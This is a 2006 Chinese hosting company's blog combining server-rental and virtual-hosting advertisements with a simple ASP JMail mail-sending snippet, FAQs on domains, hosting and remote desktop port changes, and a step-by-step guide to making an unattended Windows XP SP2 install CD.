IT博客-服务器技术研究-浙江博硕数据-www.85bs.com

如何用asp的jmail发邮件？

浙江博硕数据 — Sat, 08 Jul 2006 06:17:00 GMT

<%
Set msg = Server.CreateObject("JMail.Message")
msg.silent = true
msg.Logging = true
msg.Charset = "gb2312"
msg.MailServerUserName = "user@yourdomain.com" '输入smtp服务器验证登陆名（邮局中任何一个用户的Email地址）
msg.MailServerPassword = "userpasswd" '输入smtp服务器验证密码（用户Email帐号对应的密码）
msg.From = Request.Form("email")    '发件人Email
msg.FromName = Request.Form("name")   '发件人姓名
msg.AddRecipient "webmaster@abc.com"  '收件人Email
msg.Subject = Request.Form("subject") '信件主题
msg.Body = Request.Form("body")     '正文
msg.Send ("mail.yourdomain.com")        'smtp服务器地址（企业邮局地址）
set msg = nothing
%>

浙江博硕数据真诚为您服务 http://www.85bs.com

浙江博硕数据 2006-07-08 14:17 发表评论

浙江博硕数据服务器租用，电信网通任意选择！

浙江博硕数据 — Sat, 08 Jul 2006 06:15:00 GMT

浙江博硕数据-上海(浙江)服务器租用商.托管商.运营商
网址:http://www.85bs.com
电话:0571-56865391 56865393
客服QQ:86799360 86769306 86791360
24小时服务:13588083093

·CPU: P4 2.66G 64位 775针
·内存:512M DDR2
·硬盘:80G SATA
·带宽:12M独享(浙江电信)
·防护:免费抗DDOS软件防火墙
·规格:1U (已包括1年托管费)
·促销价:6800元

·CPU: P4 3.0G 64位
·内存:512M DDR2×2
·硬盘:80G SATA
·带宽:12M独享(浙江电信)
·防护:金盾防火墙防黑客入侵
·规格:1U (已包括1年托管费)
·促销价：7800元

·CPU: Inter 双核 PD 2.8G
·内存:1G DDR2 533
·硬盘:160G SATA
·带宽:12M独享(浙江电信)
·防护:金盾防火墙防私服M2攻击
·规格:1U (已包括1年托管费)
·促销价：8500元

·CPU: P4 3.0G 64位
·内存:1G DDR2×2
·硬盘:160G SATA
·带宽:12M独享(浙江电信)
·防护:金盾防火墙防黑客入侵
·规格:1U (已包括1年托管费)
·促销价：8500元

更多精品服务器请进浙江博硕数据网站参考：http://www.85bs.com

浙江博硕数据 2006-07-08 14:15 发表评论

做网站租用空间，找浙江博硕数据！

浙江博硕数据 — Sat, 08 Jul 2006 06:13:00 GMT

	A、 24小时有问必答虚拟主机服务　B、真正7天正式虚拟主机免费测试
	C、 7天内不满意全额退款　D、电信空间.网通空间价格相同
	E、禁止上传到虚拟空间的网站内容 [点击查看]

>>虚拟空间服务器配置
CPU	Intel Xeon 2.8GHz× 2个(800外频,64位)	硬盘	1个 10000rpm 146G SCSI 万转硬盘
主板	INTEL SE7320EP 2DG 服务器主板	网卡	2个 Intel服务器千兆网卡
内存	2个 1G DDR Ⅱ ECC-Regist 内存	系统	Windows2003 /Linux

>>标准小型站长实用型 (Access/Mysql数据库)
型号	空间	邮箱	IIS 数	空间支持	价格	选择
SA001	100MB	3个×50MB	70	Asp/Asp.net/Php/Cgi	150元	立即订购
SA002	200MB	5个×50MB	120	Asp/Asp.net/Php/Cgi	200元	立即订购
SA003	300MB	5个×50MB	160	Asp/Asp.net/Php/Cgi	250元	立即订购
SA004	400MB	5个×50MB	220	Asp/Asp.net/Php/Cgi	350元	立即订购

>>初具规模站长增强型 (赠送:30MB MsSQL)
型号	空间	邮箱	IIS 数	空间支持	价格	选择
SB001	500MB	10个×50MB	260	Asp/Asp.net/Php/Cgi	450元	立即订购
SB002	600MB	10个×50MB	300	Asp/Asp.net/Php/Cgi	550元	立即订购

>>大型企业网站全能型 (支持Asp/Asp.net/Php/Cgi语言脚本)
型号	空间	邮箱	CPU占用率	赠送数据库	价格	选择
SC001	1G	10个×50MB	5%	100MB MySql/MsSql	650元	立即订购
SC002	3G	10个×50MB	7%	150MB MySql/MsSql	850元	立即订购
SC003	5G	10个×50MB	10%	200MB MySql/MsSql	1200元	立即订购
SC004	10G	10个×50MB	15%	300MB MySql/MsSql	1980元	立即订购

浙江博硕数据 2006-07-08 14:13 发表评论

浙江博硕数据服务器托管，价格优惠，欢迎联系！

浙江博硕数据 — Sat, 08 Jul 2006 06:11:00 GMT

　　浙江博硕网络科技有限公司以专业、高效的实时服务理念，为您提供全天候的技术支持、稳定可靠的互联网接入资源以及专业化的系统管理等全方位服务。推荐:所经营特色千兆硬防机房浙江电信一期工程拥有8G光纤直连浙江电信骨干网。浙江电信到上海长途电信出口的带宽为30G，确保了浙江电信机房与上海电信机房有同样的网络接入水平。游戏专区采用1G独立光纤,CISCO6509+Dosnipe千兆硬件防火墙()+CISCO3550，为游戏及虚拟主机等对安全和速度要求严格的用户提供最好的保障。
　　浙江电信共享用户保证每台机器的最小流量是12M,最大流量15M.非常适合南方用户做游戏.聊天室.是上上之选!

根据您的商务需求,选择不同机房：
机房选择	IP	1U	2U	10M	30M	50M	100M	保护	宽带
上海电信横浜机房	1个	7200元	9600元	------				软防	100M
上海电信漕宝机房	1个	5000元	6000元	5000元	1.2万	1.8万	3.0万	软防	10M
浙江电信硬防机房	1个	5500元	6500元	5500元	1.3万	2.0万	3.2万	硬防	15M
浙江电信二期机房	1个	4000元	5000元	4000元	1.0万	1.7万	2.9万	软防	12M
上海网通乐凯机房	1个	5000元	6500元	5000元	1.2万	1.8万	3.0万	软防	10M
山东网通硬防机房	1个	4000元	5000元	4000元	1.0万	1.7万	2.9万	硬防	10M

各大机房相关介绍,详情点击参阅:
上海电信横浜机房	上海电信漕宝机房	上海网通乐凯机房
浙江电信硬防机房	浙江电信二期机房	山东网通硬防机房
上海电信下载测试	浙江电信下载测试	上海网通下载测试

我们的优势

高速: 浙江博硕数据以上海.浙江骨干网为接入平台,向服务器托管用户提供5M-100M(共享或独享)的高速接入带宽.
面积:已拥有一万平方米以上的高质量.高标准的电信甲级IDC机房9个,提供良好的服务器托管环境.
电力:提供两路市电+UPS+油机供电系统,真正保证99.99%以上的持续电率.
稳固:服务器托管机房架空地板承重达600公斤/平方米以上,结构稳固,并具备8级抗震能力.
安全:实施严格的出入服务器托管机房制度和设置机柜上锁多重防护.先进的消防系统,切实保障服务器
托管用户设备安全.
持续:24*7电信级专业技术保障,提供第一时间的响应与支撑.
可靠:提供电信级的服务器托管技术规范,提供流量统计分析.带宽管理.系统安全漏洞检测.高速缓存
(Cache)服务,并将提供网站加速等增值服务.

请注意： 我司在各大机房提供技术员24小时驻机房、无延迟响应的实时免费服务！

主机租用/托管服务保证

1	付款后隔天服务器上架开通，交付客户使用，开始计费，部分机型当天开通。
2	所有服务器硬件在博硕数据公司享受免费一年包换，三年包修服务。
3	所有数据中心机房保证7X24小时网管现场服务。
4	租用服务器免费硬件检查维护，免费协助解决简单故障。
5	提供全国服务电话24小时业务咨询。
6	负责硬件使用期内包换（一个工作日内，部分更换4个小时内完成）。
7	代为安装指定软件服务（一个工作日内，部分软件安装完全免费）。
8	免收一次性设置安装费及任何方式的押金。
9	免费提供7X24小时无限次网管现场值班主机重启服务。
10	免费提供租用期内重装系统(限定年付：3次),24小时内完成重装。
11	免费赠送一个固定IP.加600元立即赠送正版金盾软件防火墙一套!
12	对于托管客户硬件出现问题,为毁.坏硬件提供备用件或备用机有尝服务!

浙江博硕数据 2006-07-08 14:11 发表评论

浙江博硕数据服务器促销进行中

浙江博硕数据 — Sat, 08 Jul 2006 06:10:00 GMT

浙江博硕数据以专业、高效的实时服务理念，为您提供全天候的技术支持、稳定可靠的互联网接入资源以及专业化的系统管理等全方位服务。所经营上海电信漕宝机房，拥有6G出口带宽；上海网通机房，拥有7.5G出口带宽；浙江电信绍兴机房，拥有8G出口带宽；上海电信漕宝机房提供最小带宽8M ,最大带宽10M；浙江电信、上海网通机房为10M独享!
服务器类型说明	主机租用服务保证	主机租用相关问题	1U规格内部图片

型号:server-001 (企业ERP文件类)

CPU ：Xeon 2.8G×2
内存：1G DDR2 Ecc Reg
硬盘：73G SCSI 万转
规格：2U

季付：4500元
年付：14000元

型号:server-002 (电影音乐娱乐类)

CPU ：Xeon 2.8G×2
内存：1G DDR2 Ecc×2
硬盘：SATA 200G×8
规格：2U

季付：8500元
年付：25000元

server-003 (个体公司网站类)

CPU ：双核 PD 2.8G
内存：1G DDR2
硬盘：SATA 160G
规格：1U

季付：-----
年付：8500元

server-004 (软件下载网站类)

CPU ：P4 3.0G 64位
内存：1G DDR2×2
硬盘：SATA 200G
规格：1U

季付：3600元
年付：10800元

server-005 (小型数据网站类)

CPU ：P4 3.0G 64位
内存：1G DDR2
硬盘：SATA 80G
规格：1U

季付：-----
年付：7800元

server-006 (二维私服游戏类)

CPU ：P4 3.0G 64位
内存：1G DDR2×2
硬盘：SATA 160G
规格：1U

季付：3000元
年付：9500元

server-007 (三维私服游戏类)

CPU ：Xeon 2.8G×2
内存：1G DDR2 Ecc×2
硬盘：146G SCSI 万转
规格：2U

季付：6000元
年付：18500元

server-008 (高性能大型数据)

CPU ：Xeon 2.8G×2
内存：1G DDR2 Ecc×2
硬盘：73G SCSI×3
规格：2U

季付：8500元
年付：25000元

浙江博硕数据 2006-07-08 14:10 发表评论

域名注册相关问题

浙江博硕数据 — Sat, 08 Jul 2006 06:09:00 GMT

什么是域名？

　　 Internet域名是Internet网络上的一个服务器或一个网络系统的名字，在全世界，没有重复的域名。域名的形式是以若干个英文字母和数字组成，由"."分隔成几部分，如IBM.COM就是一个域名。

为什么要注册域名？

　　 Internet域名如同商标，是您在因特网上的标志之一。Internet上的域名是非常有限的，因为每个域名都只有一个。如果您公司的名字是Intellectual Business Management Ltd.，您想把公司的域名注册成IBM.COM，国际商用机器公司（IBM）同您相比并不具有什么优先权，然而这个域名早已被它抢到手了！在美国，连街头上的小百货店和小加油站都在注册他们的域名，以便在网上宣传自己的产品和服务。作为有头脑、有远见的商人，越早行动，越有可能获得您所需要的域名。简单地说：你有一个简单好记的域名，你的网站，你的论坛就会让更多的网友、朋友来到你那，和你一起分享网上的喜悦、快乐！

注册域名要多少钱?

　　域名的费用，您可以进入本站的域名服务内进行查看价格，现在在博硕数据注册一个国际域名只要：70元，非常的合算，注册之后一年之内都是你的，每年域名到期前一个月续费，你就可以接着拥有它！

什么是域名解析？

　　域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等，就是把由主机名，如www，字母，数字及连字符等构成的网址解析成32位的IP地址，如202.101.172.46,或把网址指向网址等。
解析到IP地址，如将www.85bs.com 指向202.101.172.46
解析到网址，如将www.85bs.com 指向202.101.172.46

域名注册之后多久生效？

　　一般情况下DNS需要6-24个小时生效，所以6个小时之内差不多可正常使用，如果超过24个小时仍然无法访问请询问我们。不过在有些域名商注册域名，平时解析IP是要：1-2个小时才会生效，让很多客户感觉到很头疼，但在博硕数据注册的域名，平时要更换IP，解析时间一般在：几秒钟时间便可以生效！

什么是URL转发功能？

　　 URL转发功能是我公司提供的域名注册后的增值服务。所谓URL转发，是通过服务器的特殊设置，将访问您当前域名的用户引导到您指定的另一个网络地址。例如，URL转发可以让用户在访问http://www.85bs.com时，自动转向访问http://www.85bs.net/aaaa.htm。

请问是否有域名证书？

　　缴费之后登陆域名控制面板可以进行管理，包括打印出域名证书、解析ip、邮件mx记录等。

什么是泛域名解析？

　　泛域名解析定义为：
　　客户的域名a.com，之下所设的*.a.com全部解析到同一个IP地址上去。比如客户设b.a.com就会自已自动解析到与a.com同一个IP地址上去，显示的是跟a.com一样的页面。

顶级、二级、三级域名的区别？

　　一个完整的域名由二个或二个以上部分组成，各部分之间用英文的句号"."来分隔，最后一个"."的右边部分称为顶级域名（TLD，也称为一级域名），最后一个"."的左边部分称为二级域名（SLD），二级域名的左边部分称为三级域名，以此类推，每一级的域名控制它下一级域名的分配。

浙江博硕数据 2006-07-08 14:09 发表评论

服务器租用托管相关问题

浙江博硕数据 — Sat, 08 Jul 2006 06:08:00 GMT

什么是服务器租用？

　　是指用户无须自己购买主机，只需根据自己业务的需要，提出对硬件配置的要求。主机服务器由我们配置。用户采取租用的方式，安装相应的系统软件及应用软件以实现用户独享专用高性能服务器，实现WEB+FTP+MAIL+VDNS全部网络服务功能，用户的初期投资减轻了，可以更专著于自己业务的研发。目前我们提供的主机租用服务的主机类型主要是基于Intel CPU的服务器，用户可以自行安装操作系统及相应的应用软件，并完全自行管理，也可由本公司代用户安装系统、应用软件，免费提供服务器监测服务。连续租用2年服务器产权归客户。

什么是服务器托管？

　　当用户有意拥有自己的Web、Email、 FTP等服务器时，他可以有两种方法：一是自建，二是托管。
　　自建需要有水平较高的专业技术人员，要投入较大的资金购置软硬件，还要支付上不封顶的日常维护和线路通信费，建设周期也较长。比较之下，托管则经济，快捷而实用。Internet的基本动作机制是用户/服务器(Client/Server)，最大的特点是跨时空和跨地域。也就是说，即使是天各一方，只要大家都在网络上，双方就可以直接沟通，这就为我们提供了一个重要的技术手段：远程控制(RemoteControl)。服务器托管产生的技术基础和所依赖的手段主要是："用户/服务"和"远程控制"等机制。即无论我们的用户在哪里，只要能上网，就可以对远在天涯的服务器进行控制，从而实现对服务器的拥有和维护。
　　简单地讲,服务器托管就是自己买台服务器,让专业的公司进行管理,包括上网,供电,降温,日常维护等,一年的价格一般在4000-8000万之间

如何远程管理我租用的服务器?

　　对于WINDOWS平台的服务器，我们推荐使用 pcanywhere 10.0，该软件可以远程控制服务器的桌面，并可以多种级别的加密方式传输数据。是业界著名的西门铁克（Symantec）公司生产的产品。对于LINUX平台，我们建议抛弃不加密的 Telnet 方式，而改用 ssh2 加密登陆方式管理服务器。这种方式可以防止网络窃听器。一般来说我们机房技术员为帮您安装好，再把用户名与密码直接交付给您使用并管理！

如何保证我的托管服务器安全？

　　服务器托管在IDC机房里面，首先要求IDC机房必须从路由级别的安全措施。另外，服务器本身的安全设置也非常关键，要求服务器首先关掉不用的端口，并安装入侵检测软件，比如snort，管理服务器的时候要求必须以安全加密方式连接，比如 pcanywhere 或者 ssh 方式。还有，服务器必须定期的从网上下载最新的补丁针对最新发现的一些漏洞进行修补。域名频道的增值服务－网络安全为您解决了这些工作。

500内部服务器错误解决办法？

　　使用IIS时,经常会出现服务器500错误, 但怎样解决500错误呢,一般时恢复文件数据.
现500错误的原因是很多的，一般来说，如果程序出错，那么在浏览器内会返回给用户一个友好的错误提示，统一称之为服务器500错误。
解决的方法就是您必须在http中能够正确的获得错误信息，方法为：请打开浏览器，选择工具，internet选项，高级，在高级中的浏览项目里面有一个"显示http友好错误提示"的复选框，请取消该复选框，这样您可以获得正确的错误提示。在获得正确的错误提示之后，您就可以根据该错误提示检查您具体的出错原因了。

远程管理如何修改服务器终端服务的端口?

　　为了方便远程管理，我在服务器上安装了终端服务，但是我担心它会给我的服务器带来安全隐患，有什么办法能把终端服务的3389端口改成其它端口吗？　　
　　答：当然可以，服务器端需要修改注册表，客户端直接指定端口号或修改终端服务客户端连接的配置文件。　　
　　服务器端：
　　 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\Wds\Repwd\Tds\Tcp，看到右边的PortNumber了吗，在十进制状态下改成你想要的端口号吧，比如7038之类的，只要不与其它冲突即可。　　
　　 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp，改的端口号和前面一样。
　　 W2K客户端：　　
　　打开客户端管理连接器，单击已经建好的某个连接，单击“文件(file)”→“导出(Export)”；
　　用记录本或其它文本编辑软件找开刚导出的这个.cns文件，找到“Server Port =3389”一行；
　　把这个默认的3389改成与服务器一样的端口号就行了。
　　 WinXP客户端：　　
　　在导出的default.rdp文件加入server port:i:xxxx或server port:xxxx 　　
　　另外在新终端服务客户端也可以直接采用在服务器的IP或名字之后加上“:端口”的方法进行连接。

浙江博硕数据 2006-07-08 14:08 发表评论

虚拟空间相关问题

浙江博硕数据 — Sat, 08 Jul 2006 06:08:00 GMT

什么是虚拟空间？

　　虚拟主机(Virtual Host Virtual Server)是使用特殊的软硬件技术，把一台计算机主机分成一台台"虚拟"的主机，每一台虚拟主机都具有独立的域名和IP地址(或共享的IP地址),具有完整的Internet服务器功能。在同一台硬件、同一个操作系统上，运行着为多个用户打开的不同的服务器程序，互不干扰；而各个用户拥有自己的一部分系统资源（IP地址、文件存储空间、内存、CPU时间等）。虚拟主机之间完全独立，在外界看来，每一台虚拟主机和一台独立的主机的表现完全一样。
　　虚拟主机技术的出现，是对Internet技术的重大贡献，是广大Internet用户的福音。由于多台虚拟主机共享一台真实主机的资源，每个用户承受的硬件费用、网络维护费用、通信线路的费用均大幅度降低，Internet真正成为人人用得起的网络！现在，几乎所有的美国公司(包括一些家庭)均在网络上设立了自己的WEB服务器，其中有相当的部分采用的是虚拟主机！

申请后我多久才可以使用？

　　当您选择好需要哪款空间，将款项汇给我们之后，我们会在几分钟之内将空间开通给您使用！如您要安装一些论坛程序，技术员可以帮你免费安装上，但要再花几分钟时间，不包括：网站设计、论坛美化！

不能正常显示图象（缺图）或显示不全的原因 ?

　　可能有以下几种情况：
　　1、图片所在的目录下的文件名大小写与网页中引用的文件名不统一；
　　2、调用图片文件时采用了绝对路径，如file:///c:/images/abc.gif，将包含着各种连接的网页传
　　　到服务器上，图片将不能正常显示，解决方法是使用相对链接：如images/abc.gif.
　　3、注意检查文件名大小写。Linux 系统对文件名（包括目录名）的大小写是区分为不通的文件名。

当ftp遇到 Socket.. ERROR？

　　ftp使用帮助：当ftp遇到 Socket..ERROR FlashFXP 选项>参数选择>代理/防火墙/标识　把使用被动模式　前的钩关掉以解决Socket...ERROR问题。其他FTP软件类似！cuteftp 点击文件（file）-->站点管理(Site manger)-->编辑(Edit)-->去掉PAVS模式(Use pavs mode)，按确定，联接(connect)您的空间。

500内部服务器错误解决办法？

　　出现这种情况是由于您的网站超过了系统资源限制（CPU或者IIS）造成的，这个现象在WINDOWS2003+
IIS6的环境下都会出现，主要是程序占用资源太多。不同的程序占用的资源都不一样，这个跟程序设计的合理性和优化程度有关；另外，一些死循环程序，或者不优化的程序都会占用太多的系统资源，而系统资源明显是有限的。由于我们的主机都是采用WINDOWS2003+IIS6的系统，各网站之间是以独立进程运行的，不会相互影响。如果一个网站的程序占资源太多或者发生太多的错误，系统日志就会提示：“应用程序池 'User_pooll' 被自动禁用，原因是为此应用程序池提供服务的进程中出现一系列错误，或者提示：应用程序池 'User_pooll' 超过了其作业限制设置。这时，访问这个网站就会提示：Service Unavailable。一般系统会在30秒左右恢复正常，多刷新几次就能正常访问了。但是这个时间恢复后因为访问量太大在极短的时间网站又不能上了。另外，如果网站当前访问人数过多，超过了系统的CPU或IIS连接数限制，也会出现Service Unavailable的提示(win2k主机下出现连接过多就会提示：连接过多，请稍后再试；而win2003的主机刚直接提示：Service Unavailable）如果经常出现类似的错误，请及时优化网站程序。
　　注意:免费空间每个用户的IIS连接都很有限,并且是大家共享程序池,大家要获得更好的质量请选择VIP空间或者直接租用独立服务器，以获得更多的系统资源。

用主机域名浏览到的页面不对？

　　请检查一下四点：
1、域名是否已经解析到正解的 IP 地址，是否生效；
2、是否正确上传主页；
3、申请主机时登记的域名与您注册的域名是否一致；
4、首页文件定义是否正确；是否定义为 index.html 、 index.htm 、 default.asp 等。

浙江博硕数据 2006-07-08 14:08 发表评论

自制WinXP SP2自动安装光盘（超精典）

浙江博硕数据 — Thu, 18 May 2006 09:18:00 GMT

自制WinXP SP2自动安装光盘（超精典）想学就来！
绝对超精典！建议加精！
随着微软8月23日发布官方正式版的Windows XP Service Pack 2风潮的迅猛袭来，很多朋友都尝试着将自己的操作系统升级到最新的版本，从而避免频繁的下载安装系统补丁所带来的麻烦，同时也想进一步体验一下这个微软有史以来的“力作”究竟“何趣之有”。
苦于微软的细心经营，这次的Windows XP Service Pack 2安装程序已猛增至290多兆，使整个安装时间也大大的延长，而有的朋友更想让手中已有的Windows XP光盘尽快升级，集成SP2的安装，使整体安装变的更加方便和快速。那么，今天我们就将与所有的朋友共同解密Windows XP SP2完全自动安装光盘的制作。
一、制作集成SP2的Windows XP安装程序
1、准备工作
第一步：在本机中选择任意大于1.5G空间的分区，建立存放安装程序的文件夹。
第二步：将原有安装程序光盘中的所有文件拷贝到该文件夹中。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
第三步：获取Windows XP Service Pack 2的升级程序。可到微软官方页面进行下载。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
点击进入：简体中文版下载页面
点击直接下载：简体中文版
2、集成操作
第一步：打开“开始菜单→运行”，在对话框中输入：
F:\WindowsXP-KB835935-SP2-CHS.exe -s:F:\XPSP2
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
小提示：其中SP2以及原有安装程序的绝对路径可以按照实际保存的位置进行修改，其他参数不变。
第二步：点击“确定”，程序会自动开始SP2的集成工作。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
大约十分钟左右，SP2的集成工作就顺利完成了。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
经过上两步的操作，当我们再次打开XP的安装文件目录可以看到，部分文件已经在集成了SP2后发生了变化。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
小提示：如果你先前在安装Windows XP的时候已经进行了激活，那么我们可以在X:\windows\system32（X为操作系统所在的分区）找到激活信息文件：wpa.dbl，并将该文件一同刻录到光盘中。这样，如果在使用集成SP2后的光盘安装操作系统后，我们无须再次对系统进行激活操作，只要将wpa.dbl 文件复制到 system32 文件夹，并重启计算机。在系统提示激活 Windows XP时，点击确认， Windows XP 会提示你系统已被激活。
注意：此方法只适用与在同一计算机中的操作。
二、制作Windows XP SP2的自动安装程序
在集成了Windows XP Service Pack 2之后，先别急着将安装程序刻录成光盘，因为我们还可以继续加工，将Windows XP的安装完全自动化，从而避免在安装过程中频繁的输入个人信息，选择系统配置，输入安装序列号等麻烦的操作。
第一步：获取Windows XP Service Pack 2部署工具（无人应答文件、系统封装的官方工具）。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
文件名称：WindowsXP-KB838080-SP2-DeployTools-CHS.cab
文件大小：1698 KB
文件日期：2004年8月22日
下载地址：Windows XP Service Pack 2 部署工具下载页面>>>
第二步：使用WINRAR等解压缩软件，将CAB包中的所有文件释放到独立的文件夹中，并运行setupmgr.exe。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
第三步：在“安装管理器”的主界面中选择“下一步”进入新的“应答文件”的创建。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
第四步：选择“创建新文件”，并单击“下一步”继续。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
第五步：在“安装类型”中选择“无人参与安装”。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
第六步：在接下来的“产品”选项中选择你所使用的安装程序版本。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
第七步：“用户交互”设置中，我们选择“完全自动”并继续进行下一步操作。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
第八步：由于我们最终要将安装文件制作成光盘，所以在“分布共享”中选择“从CD安装”即可。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
第九步：在“许可协议”窗口，选择“我接受许可协议”。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
[page]第十步：经过上面的设置，接下来程序会进入“自动录入信息”界面，在这里，我们需要将平时在进行XP系统安装时所须输入的信息一并设置完成，以保证程序在执行安装操作的过程中，自动输入相关信息。
安装过程的设置：
A、常规设置
名称和单位：输入计算机所属者的姓名及相关单位。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
显示设置：一般情况下，如果不需要特别的设置，我们只需选择“使用Windows默认值”即可。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
时区：在列表中选择你所处位置的正确时区即可。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
产品密钥：即安装文件的序列号，注意，一定要仔细检查所输入的序列号，如果出现错误，会影响将来安装程序的自动进行。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
B、网络设置
计算机名称：设置计算机的网络名称，如果你要使用同一光盘安装多台计算机，那么我们可以添加多个计算机名称，程序在安装过程中自动选择相应的名称进行填写。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
管理员密码：设置计算机高级管理员的用户密码，为了防止密码被他人查看，我们可以选中“加密”管理员用户密码。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
网络组件：如果安装程序在检测到计算机中安装有网络设备（网卡等），且正确安装驱动后，会提示对设备的网络配置进行设置，一般来说，我们将其设置为“典型设置”即可。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
工作组或域：为网络中的计算机选择设置工作组名称。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
其它设置
C、高级设置
语言：设置操作系统需要安装的语言包类型，以便可以浏览或使用不同语言版本的WEB页面或其他程序，可多选。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
安装文件夹：选择Windows安装后的文件夹名称，选择“指定文件夹名称”可自定义Windows的安装目录名称。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
其他设置：高级中的其他选项，如果你对于Windows的安装没有特殊要求的话，全部采取系统默认值即可。

第十一步：在进行了全部内容的设置之后，“安装管理器”会弹出“自动应答文件”的保存提示对话框，默认的应答文件名称为“unattend.txt”，由于我们要将文件最终刻录成光盘，所以需要将默认的文件重新命名为“winnt.sif”，并选择相应的位置点击“确定”保存即可。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
第十二步：选择“安装管理器”的“取消”按钮，退出操作。（同时在应答文件创建完成之后，程序会提示创建的文件所保存的位置及名称。）
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
第十三步：将刚刚生成的全部应答文件拷贝到安装程序目录的I386文件夹内。
三、刻录光盘
经过一系列的操作之后，下面就需要将制作好的文件刻录到光盘当中了，在进行刻录之前，我们还需要准备如下工具：
1、光盘启动文件：xpboot.img
2、光盘刻录软件：Nero6.0.3简体中文版
第一步：运行Nero6.0，并选择新建制作“CD-ROM（引导）”光盘。
第二步：进入“启动”设置。在“映像文件”选择“光盘启动文件(xpboot.img)”，并打开“高级设置”，将“虚拟类型”设置为“不虚拟”；“已加载扇区数”为“4”即可。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
第三步：设置“ISO”参数：
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
文件名长度：最多31个字符（ISO级别2）
格式：模式1
字符集：ISO9660（标准ISO CD-ROM）
第四步：设置光盘“标签”，为光盘起一个名字。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
第五步：在“刻录”选项中，选择“结束光盘”，并选择“新建”，打开光盘内容编辑界面。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
第六步：将制作好的Windows XP SP2安装文件全部拖入光盘目录内。通过软件下方的容量提示我们可以看到，按照上述方法所制作的安装文件基本不会超过700兆。
screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border=0>
第七步：选择Nero菜单中的“刻录机→刻录编译”，并在刻录机中放入一张大于700兆的CD-R，这样，我们就可以将Windows XP SP2的安装文件制作成光盘了。
